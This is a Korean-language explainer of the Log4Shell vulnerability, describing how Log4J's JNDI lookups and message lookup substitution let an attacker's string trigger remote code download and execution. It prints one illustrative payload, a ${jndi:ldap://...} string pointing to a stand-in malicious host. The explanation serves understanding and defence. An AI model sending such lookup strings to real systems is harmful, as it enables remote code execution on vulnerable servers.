Log4Shell은 Apache Software Foundation에서 유지 관리하는 오픈 소스 로깅 라이브러리인 Log4J에 영향을 미칩니다. Log4J는 프로그램에서 일어나는 정보와 이벤트를 기록하는 소프트웨어 구성 요소인 로거입니다. 예를 들어 오류 메시지와 사용자 입력과 같은 프로그램의 일부입니다.
Log4J는 독립형 프로그램이 아니라 개발자가 로거를 처음부터 빌드하는 대신 Java 애플리케이션에 플러그인할 수 있는 코드 패키지입니다. Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco 등 다양한 주요 기업들이 자신의 소프트웨어와 서비스에 Log4J를 사용하고 있습니다.
Log4Shell은 취약한 Log4J 버전이 Java 네이밍 및 디렉토리 인터페이스(JNDI) 조회와 메시지 조회 대체라는 두 가지 관련 기능을 처리하는 방식에서 비롯됩니다. 각 기능들은 그 자체로는 해롭지 않지만, 기능 간의 상호 작용은 해커에게 강력한 무기가 됩니다.
JNDI는 Java 애플리케이션이 외부 서버에서 호스팅되는 리소스에 액세스하는 데 사용하는 애플리케이션 프로그래밍 인터페이스(API)입니다. JNDI 조회는 서버로 이동하여 데이터나 스크립트와 같은 특정 객체를 다운로드하도록 앱에 지시하는 명령입니다. Log4J 2의 이전 버전은 이 방식으로 다운로드한 모든 코드를 자동으로 실행합니다.
메시지 조회 대체를 사용하면 사용자와 앱이 특정 구문(${prefix:name})을 사용하여 로그 메시지 내에서 Log4J에 변수를 보낼 수 있습니다. Log4J는 이 구문을 발견하면 변수를 확인하고 로그에 값을 기록합니다. 예를 들어 Log4J가 다음과 같은 메시지를 수신한 경우:
${java:version}
이는 장치에서 실행 중인 Java의 현재 버전을 알아냅니다. 로그에는 "Java 버전 X.XX"라고 기록됩니다.
다시 말해, Log4J는 메시지 조회 대체를 일반 텍스트처럼 취급하지 않습니다. Log4J는 이들을 명령처럼 취급하고 이들이 말하는 내용에 따라 조치를 취합니다. 해커는 이 사실을 이용하여 취약한 Log4J 버전을 실행하는 앱에 악성 JNDI 조회 명령을 보낼 수 있습니다. 예를 들어 해커는 Log4J에 다음과 같은 문자열을 보낼 수 있습니다.
${jndi:ldap://myevilwebsite.biz/maliciouscode}
Log4J는 이 메시지를 받으면 myevilwebsite.biz의 서버에 연결하고 /maliciouscode에 있는 개체를 다운로드하여 변수를 확인합니다. 이 과정에서 Log4J는 해커가 해당 위치에 숨겨둔 Java 코드(보통 맬웨어)를 실행하게 됩니다.